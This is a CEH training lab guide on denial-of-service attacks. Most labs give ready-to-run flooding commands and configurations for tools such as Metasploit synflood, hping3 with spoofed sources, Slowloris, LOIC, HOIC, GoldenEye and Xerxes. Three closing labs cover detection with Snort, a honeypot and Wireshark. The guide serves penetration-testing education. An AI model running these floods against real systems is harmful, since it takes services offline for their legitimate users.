CEH Module 10

DoS & DDoS Attacks

Complete Lab Guide
For Authorized Penetration Testing & Educational Use Only
Lab 1: DoS/DDoS Attack Using Metasploit

Tool Overview

Metasploit is a widely used penetration testing framework. In this lab, we use the
auxiliary/dos/tcp/synflood module to perform a SYN Flood attack against a target machine.

Lab Requirements

• Kali Linux (Attacker Machine)

• Target Machine (e.g., Windows VM on same network)
• Wireshark (for monitoring traffic)

Step-by-Step Instructions
Step 1 — Open Metasploit Console
Open the Kali Linux terminal and launch Metasploit:

msfconsole

Step 2 — Search for the SYN Flood Module

search synflood

The module auxiliary/dos/tcp/synflood will appear in the results.

Step 3 — Load the Module

use 0

Or use the full path:

use auxiliary/dos/tcp/synflood

Step 4 — View Module Options

show options

Step 5 — Configure the Module

Set the network interface and the target host:
 set INTERFACE eth0

set RHOSTS <target_ip>

Example:
set RHOSTS [Link]

Step 6 — Run the Attack

run

The module will begin flooding the target with TCP SYN packets. You will see output such as:
[*] SYN flooding [Link]:80...

Step 7 — Monitor with Wireshark

• Open Wireshark on the attacker or a monitoring machine.
• Select interface eth0.
• Observe the flood of SYN packets being sent to the target IP.
• Use the filter [Link] == 1 to isolate SYN packets.

Expected Outcome: Target receives massive TCP SYN flood, consuming server
memory/state.
Lab 2: DoS/DDoS Attack Using Hping3

Tool Overview

Hping3 is a command-line packet crafting and network auditing tool built into Kali Linux. It can
generate ICMP, TCP, and UDP floods with custom parameters.

Step-by-Step Instructions
Attack A — ICMP Flood (Ping Flood)

hping3 -1 <target_ip> --rand-source -p 80 --fast

Parameter Description
-1 Send ICMP packets
--rand-source Randomize source IP address (spoofing)
-p 80 Target port 80
--fast Send packets as fast as possible

Attack B — UDP Flood (Faster Mode)

hping3 -2 <target_ip> --rand-source -p 80 --faster

Parameter Description
-2 Send UDP packets
--rand-source Randomize source IP address
-p 80 Target port 80
--faster Increase packet sending speed

Attack C — UDP Flood Mode

hping3 -2 <target_ip> --rand-source -p 80 --flood

Parameter Description
-2 Send UDP packets
 --rand-source Randomize source IP address
--flood Flood mode — maximum packet rate, no replies shown

Monitor with Wireshark

• Open Wireshark and select interface eth0.
• For ICMP attacks: filter with icmp
• For UDP attacks: filter with udp
• Observe the high packet count and random source IPs.

Expected Outcome: Target is flooded with ICMP/UDP packets from randomized

sources, exhausting bandwidth and resources.
Lab 3: DoS/DDoS Attack Using Raven-Storm

Tool Overview

Raven-Storm is an open-source Python-based DoS/DDoS tool with modular support for Layer 4
(UDP/TCP), Layer 7 (HTTP), Bluetooth, and ARP attacks.

Step-by-Step Instructions
Step 1 — Download and Install
git clone [Link]

cd Raven-Storm

pip3 install -r [Link]

Step 2 — Launch Raven-Storm

python3 [Link]

Step 3 — Select Layer 4 Attack Module

At the Raven-Storm prompt, type:
l4

This loads the Layer 4 (UDP/TCP Transport Layer) module.

Step 4 — Set Target IP

ip [Link]

Step 5 — Set Target Port

port 80

Step 6 — Set Number of Threads

threads 20
Step 7 — Start the Attack
run

Step 8 — Monitor with Wireshark

• Open Wireshark and select interface eth0.
• Observe the high volume of UDP/TCP packets directed at the target.

Note: Raven-Storm also supports l7 (HTTP/Layer 7), bl (Bluetooth), arp (ARP

Spoofing). Replace l4 with the desired module and follow the same configuration
steps.

Expected Outcome: Target is flooded with transport-layer packets, causing service

degradation or crash.
Lab 4: DoS Attack Using Slowloris

Tool Overview

Slowloris is an application-layer (Layer 7) DoS tool that exhausts a web server's connection pool
by sending slow, partial HTTP requests and keeping them open indefinitely. A single machine
can take down a web server.

Step-by-Step Instructions
Step 1 — Launch Slowloris
Slowloris is built into Kali Linux. Open a terminal and run:
slowloris <target_url_or_ip>

Example:
slowloris [Link]

Step 2 — Observe Attack Output

Slowloris will display:
• Creating 150 sockets...
• Sending keep-alive headers...
• Socket count: 0 (connections being maintained)

The tool continuously sends partial HTTP headers to keep connections alive without completing
requests.

Step 3 — Monitor with Wireshark

• Open Wireshark and select the network interface (eth0).
• Filter: [Link] == 80
• Observe that many TCP connections are opened but never properly closed.
• The server's connection pool becomes exhausted, preventing legitimate users from
connecting.

Optional Flags: Use slowloris <target> -p 443 for HTTPS targets. Use slowloris
<target> -s 500 to set the number of sockets.

Expected Outcome: Web server becomes unresponsive to new connections while

existing Slowloris connections remain open.
Lab 5: DoS/DDoS Attack Using LOIC

Tool Overview

LOIC (Low Orbit Ion Cannon) is a Windows-based open-source DoS tool that floods a target
with massive TCP, UDP, or HTTP requests.

Step-by-Step Instructions
Step 1 — Download LOIC
Download Link:
[Link]

Step 2 — Launch LOIC

Extract and run the LOIC executable on the Windows machine.

Step 3 — Enter the Target

• In the Target section, enter the target URL in the URL field.
• Example: [Link]
• Click Lock On — the target IP will be resolved and displayed.

Step 4 — Configure Attack Options

Parameter Description
Port 80 (HTTP)
Method HTTP, TCP, or UDP (select from dropdown)
Threads Set to 20 (recommended for lab)
Speed Adjust the speed slider

Step 5 — Launch the Attack

Click the IMMA CHARGIN MAH LAZER button. The button will change to Stop Flooding when
the attack is active.

Step 6 — Monitor with Wireshark

• Open Wireshark on a monitoring machine.
• Select the appropriate network interface.
 • Observe the flood of HTTP/TCP/UDP packets to the target IP.
• Watch the Connecting, Requesting, Downloaded, and Requested counters in LOIC.

Expected Outcome: Target web server is flooded with requests from the attacker,
causing slowdown or crash.
Lab 6: DoS/DDoS Attack Using HOIC

Tool Overview

HOIC (High Orbit Ion Cannon) is an advanced Windows-based HTTP flood tool. Unlike LOIC, it
supports booster scripts and can attack up to 256 URLs simultaneously.

Step-by-Step Instructions
Step 1 — Download HOIC
[Link]

Step 2 — Launch HOIC

Extract the archive and open [Link] (or applicable version).

Step 3 — Add Target URL

• Click the + (plus) button to add a target.
• Enter the target URL, e.g., [Link]
• Set the Power level: Low, Medium, or High.
• (Optional) Attach a Booster script (.hoic file) to bypass basic DDoS countermeasures.
• Click Add.

Step 4 — Set Number of Threads

Adjust the THREADS counter using the arrows (recommended: 2-5 for lab use).

Step 5 — Launch the Attack

Click FIRE TEH LAZER! — the target status will change to READY, then the attack begins.

Step 6 — Monitor with Wireshark

• Open Wireshark and select the active network interface.
• Filter: [Link] == 80 or http
• Observe the high volume of HTTP requests flooding the target.

Expected Outcome: Target web server is overwhelmed with HTTP flood traffic. HOIC is
more effective than LOIC due to its booster script support.
Lab 7: DoS/DDoS Attack Using ISB (I'm So Bored)

Tool Overview

ISB (I'm So Bored) is an open-source Windows stress-testing application designed to simulate

various types of network attacks including HTTP Flood, UDP Flood, TCP Flood, ICMP Flood,
and Slowloris.

Step-by-Step Instructions
Step 1 — Download and Install ISB
Search for ISB (I'm So Bored) network stress testing tool and install it on the Windows machine.

Step 2 — Launch ISB

Open the ISB application. The main interface shows Target, Attacks, Parameters, and Status
sections.

Step 3 — Set the Target

• In the URL field, enter the target URL (e.g., [Link]
• Set the Port to 80
• Click Set Target — ISB will resolve and display the target IP

Step 4 — Configure Attack Parameters

Parameter Description
Attack Type HTTP Flood, UDP Flood, TCP Flood, ICMP Flood, or Slowloris
Interval 1 ms (time between packets)
Buffer 156 bytes
Threads 25

Step 5 — Start the Attack

Click Start Attack. The Status panel will show:
• Connected Sockets count
• Sent Packets count
• Failed count

ISB will also log ping reports to the target in real time.
Step 6 — Monitor with Wireshark
• Open Wireshark on the monitoring machine.
• Select the network interface (Wi-Fi or Ethernet).
• Observe the flood of TCP SYN, UDP, or HTTP packets depending on the attack type
selected.

Expected Outcome: Target receives sustained network flood. ISB supports multiple
attack vectors in one tool — useful for testing different protocols.
Lab 8: DoS Attack Using GoldenEye

Tool Overview

GoldenEye is a Layer 7 (Application Layer) DoS testing tool written in Python. It keeps many
parallel HTTP connections open against a web server using HTTP Keep-Alive + NoCache
headers as the attack vector.

Step-by-Step Instructions
Step 1 — Check the Manual Page
GoldenEye is pre-installed on Kali Linux. View its options with:
man goldeneye

Key options:
Parameter Description
-u, --useragents Path to file with user agents (default: randomly generated)
-w, --workers Number of concurrent workers (default: 10)
-s, --sockets Number of concurrent sockets (default: 500)
-m, --method HTTP method: get, post, or random (default: get)
-d, --debug Enable debug mode for verbose output

Step 2 — Launch the Attack

goldeneye <target_url>

Example:
goldeneye [Link]

GoldenEye will display:

GoldenEye v2.1 by Jan Seidl Hitting webserver in mode 'get' with 10
workers running 500 connections each. Hit CTRL+C to cancel.

Step 3 — Monitor with Wireshark

• Open Wireshark on the attacker machine.
• Select interface eth0.
 • Filter: http or [Link] == 443
• Observe the high volume of HTTP GET requests maintaining open connections.

Expected Outcome: Web server connection pool becomes saturated with persistent
HTTP connections, causing denial of service for legitimate users.
Lab 9: Ping of Death Attack

Tool Overview

The Ping of Death (PoD) is a DoS attack where oversized or malformed ICMP packets are sent
to crash, freeze, or reboot a target system. In this lab, continuous oversized ping packets are
sent from Windows Command Prompt.

Step-by-Step Instructions
Step 1 — Find Target IP
On the target machine, identify the IP address. On Windows:
ipconfig

On Linux:
ifconfig

Step 2 — Launch the Attack from Windows

Open Windows PowerShell or Command Prompt on the attacker machine:
ping -l 100 [Link] -t

Parameter Description
ping Sends ICMP Echo Request messages
-l 100 Sets the packet payload size to 100 bytes
certifiedhacker.c Target domain (resolves to target IP)
om
-t Sends packets continuously until CTRL+C is pressed

Step 3 — Observe Attack Output

You will see continuous ping replies such as:
Pinging [Link] with 100 bytes of data: Reply from [Link]:
bytes=100 time=507ms TTL=46 Reply from [Link]: bytes=100
time=427ms TTL=46

Step 4 — Monitor with Wireshark

• Open Wireshark on the monitoring machine.
• Select the active network interface (Wi-Fi or Ethernet).
 • Filter: icmp
• Observe the continuous stream of ICMP Echo Request packets.

Step 5 — Stop the Attack

Press CTRL+C in the PowerShell/CMD window to stop the ping flood.

Expected Outcome: Target system receives continuous large ICMP packets. On

older/unpatched systems this causes crashes. On modern systems it demonstrates
ICMP flood behavior.
Extra Activity — Lab 10: Macof (CAM Table Flood)

Tool Overview

Macof floods a network switch's CAM table with fake MAC/IP combinations, forcing the switch
into hub mode and allowing traffic sniffing. It is part of the dsniff suite in Kali Linux.

Step-by-Step Instructions
Step 1 — View the Manual Page
man macof

Key options:
Parameter Description
-i interface Specify the network interface to send on
-s src Specify source IP address
-d dst Specify destination IP address
-e tha Specify target hardware (MAC) address
-x sport Specify TCP source port
-y dport Specify TCP destination port
-n times Specify the number of packets to send

Step 2 — Launch the Attack

macof -i eth0 -d <target_ip>

Example:
macof -i eth0 -d [Link]

The terminal will display thousands of random MAC/IP packet entries being sent.

Step 3 — Monitor with Wireshark

• Open Wireshark on the attacker machine.
• Select interface eth0.
• Observe a massive flood of IPv4 packets from random source MAC addresses.
• The switch's CAM table fills up, causing it to broadcast all traffic to all ports.
Expected Outcome: Switch CAM table overflows. The switch begins broadcasting all
traffic, enabling passive sniffing on the network segment.
Extra Activity — Lab 11: Xerxes (Layer 7 HTTP Flood)

Tool Overview

Xerxes is a Layer 7 DoS tool written in C. It keeps many simultaneous HTTP connections open
against a web server, exhausting its connection capacity. It is fast, lightweight, and targets
HTTP servers directly.

Step-by-Step Instructions
Step 1 — Download Xerxes
git clone [Link]

cd xerxes

Step 2 — Compile Xerxes

gcc xerxes.c -o xerxes

Step 3 — Launch the Attack

./xerxes <target_ip> <target_port>

Example:
./xerxes [Link] 80

Xerxes will begin displaying connection attempts:

Connected -> [Link]:80 [0: Voly Sent] [1: Voly Sent] ...

Step 4 — Monitor with Wireshark

• Open Wireshark and select the network interface (eth0).
• Filter: [Link] == 80
• Observe massive TCP SYN packets and established connections to port 80.

Expected Outcome: Target web server is flooded with open HTTP connections,
exhausting available sockets and causing denial of service.
Extra Activity — Lab 12: Dosinator

Tool Overview

Dosinator (D0sinator) is a Python-based DoS/DDoS tool supporting UDP flood, TCP SYN flood,
and HTTP flood. It is used in VAPT training labs and controlled environments.

Step-by-Step Instructions
Step 1 — Download and Install
git clone [Link]

cd Dosinator

pip install -r [Link]

Step 2 — Launch the Attack

python3 [Link] -t [Link] -p 80 -np 10000

Parameter Description
python3 Python 3 interpreter
[Link] Main script
-t Target IP address
[Link] Target IP value
-p Target port flag
80 Port number
-np Number of packets to send
10000 10,000 packets

Step 3 — View Attack Status

Dosinator will display:
• Target IP and Port
• Number of Packets
• Attack Rate (packets/second)
• Attack Mode (syn by default)
• Sent packet counter (updating in real time)
Step 4 — Monitor with Wireshark
• Open Wireshark and select interface eth0.
• Filter: [Link] == 1
• Observe the high-volume SYN packet flood to the target IP.

Expected Outcome: Target receives 10,000 SYN packets. The attack demonstrates
TCP SYN exhaustion of the target's connection table.
Lab 13: Detect DoS/DDoS Using Snort (IDS)

Tool Overview

Snort is an open-source Intrusion Detection System (IDS) and Intrusion Prevention System
(IPS) developed by Cisco. In this lab, Snort is configured on Windows to detect incoming DoS
attack traffic generated from Kali Linux.

Step-by-Step Instructions
Step 1 — Navigate to Snort Directory
Open Command Prompt as Administrator:
cd ..

cd Snort

cd bin

Step 2 — Verify Snort Version

[Link] -V

Step 3 — List Network Interfaces

[Link] -W

Note the Index number next to the interface you want to monitor (e.g., Index 5 = Wi-Fi adapter).

Step 4 — Start Snort in IDS Mode

[Link] -i 5 -c "c:\Snort\etc\[Link]" -A console

Parameter Description
[Link] Launches Snort on Windows
-i 5 Use network interface number 5 (from -W output)
-c Path to the Snort configuration file
-A console Print alerts to the console in real time
Step 5 — Launch Attack from Kali Linux
On the Kali Linux VM, find the IP address of the target (Windows machine):
ifconfig

Launch a DoS attack using Raven-Storm (L7) targeting the Windows machine:
python3 [Link]

l7

target [Link]

threads 20

run

Step 6 — Observe Snort Alerts

On the Windows machine, Snort will display alerts in the console such as:
[**] [129:15:2] Reset outside window [**] [Classification: Potentially Bad
Traffic] [Priority: 2] {TCP} [Link]:40134 -> [Link]:443

Expected Outcome: Snort detects abnormal traffic patterns and generates real-time
alerts classified as Potentially Bad Traffic.
Lab 14: Detect DoS/DDoS Using HoneyBOT

Tool Overview

HoneyBOT is a Windows-based honeypot that simulates vulnerable services to lure attackers. It

logs all connections, allowing detection and analysis of DoS/DDoS attack traffic.

Step-by-Step Instructions
Step 1 — Download HoneyBOT
[Link]

Step 2 — Install and Launch

Install HoneyBOT and open the application. The main screen shows Ports, Remotes, and
Date/Time columns.

Step 3 — Find Windows Machine IP

On the Windows machine, open Command Prompt:
ipconfig

Note the IP address (e.g., [Link]).

Step 4 — Launch Attack from Kali Linux

On the Kali Linux VM, navigate to the Xerxes directory and launch:
./xerxes [Link] 80

Step 5 — Observe HoneyBOT Detection

• Return to the HoneyBOT window.
• Observe new entries appearing in the log — each row shows Date, Time, Remote IP,
Remote Port, Local IP, Local Port, Protocol, and Bytes.
• The Kali Linux IP will appear as the Remote IP connecting to port 80.

Expected Outcome: HoneyBOT logs all incoming connection attempts from the
attacker. Each attack packet appears as a separate log entry with full connection
details.
Lab 15: Monitor DoS/DDoS Traffic Using Wireshark

Tool Overview

Wireshark is a free and open-source network protocol analyzer. In this lab, Wireshark is used on
the target/monitoring machine to capture and analyze DoS attack traffic in real time.

Step-by-Step Instructions
Step 1 — Find Target Machine IP
On the Windows target machine:
ipconfig

Note the IP (e.g., [Link]).

Step 2 — Launch Attack from Kali Linux

On Kali Linux, start an hping3 UDP flood:
hping3 -1 [Link] --rand-source -p 80 --flood

Step 3 — Open Wireshark on Windows

• Open Wireshark on the Windows machine.
• Select the active network interface (e.g., Wi-Fi or Local Area Connection 10).
• Click the blue shark-fin Start Capture button.

Step 4 — Apply Filters to Analyze Traffic

Parameter Description
icmp Filter all ICMP/Ping packets
udp Filter all UDP packets
[Link] == Filter SYN flood packets only
1
[Link] == 80 Filter traffic on port 80
[Link] == Filter by attacker source IP
<attacker_ip>

Step 5 — Analyze Captured Traffic

• Observe the massive packet count accumulating rapidly.
 • In a SYN flood: source IPs will be randomized (spoofed) with the same destination.
• In a UDP flood: high volume of UDP datagrams to port 80 from random sources.
• In an ICMP flood: continuous ICMP Echo Requests from randomized sources.
• Right-click a packet and select Follow > TCP Stream to see the full connection.

Step 6 — Generate Statistics

• Go to Statistics > IO Graphs to visualize packet rate over time.
• Go to Statistics > Protocol Hierarchy to see protocol breakdown.
• Go to Statistics > Endpoints to identify top source/destination IPs.

Expected Outcome: Wireshark captures the DoS flood in real time. Filters isolate
attack traffic, and statistics reveal the scale and source distribution of the attack.

DISCLAIMER: This guide is for authorized penetration testing and educational use only. Performing DoS/DDoS
attacks against systems without explicit permission is illegal under cybercrime laws worldwide.